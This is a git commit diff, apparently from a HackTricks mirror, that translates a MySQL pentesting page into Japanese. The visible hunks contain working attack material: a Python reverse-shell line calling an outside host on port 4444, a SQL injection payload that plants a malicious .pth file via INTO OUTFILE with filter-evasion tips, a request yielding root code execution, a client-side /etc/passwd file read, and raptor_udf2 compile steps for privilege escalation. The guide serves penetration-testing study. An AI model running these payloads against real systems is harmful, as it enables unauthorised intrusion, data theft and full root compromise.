mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to ja
This commit is contained in:
parent
839b7ba44a
commit
915bb68f5b
@ -1,15 +1,10 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。
|
||||
**MySQL**は、無料で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。
|
||||
|
||||
**デフォルトポート:** 3306
|
||||
```
|
||||
@ -46,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
```
|
||||
## **MySQL コマンド**
|
||||
## **MySQLコマンド**
|
||||
```bash
|
||||
show databases;
|
||||
use <database>;
|
||||
@ -83,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### MySQLの権限列挙
|
||||
### MySQL 権限列挙
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -126,7 +121,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ):
|
||||
**UNION** クエリを使用してファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保ちます):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
@ -135,9 +130,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
|
||||
* `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。
|
||||
* ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。
|
||||
* 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。
|
||||
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。
|
||||
* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが**root**として実行され、ほぼどこでも書き込みアクセスが与えられます。
|
||||
|
||||
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します:
|
||||
`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を得ます:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
@ -154,7 +149,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
## MySQL クライアントによる任意のファイルの読み取り
|
||||
|
||||
実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
この動作は次のようになります:
|
||||
この動作は次のように行われます:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
@ -222,7 +217,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
ライブラリを取得したら、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください:
|
||||
今、ライブラリがあるので、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
|
Loading…
x
Reference in New Issue
Block a user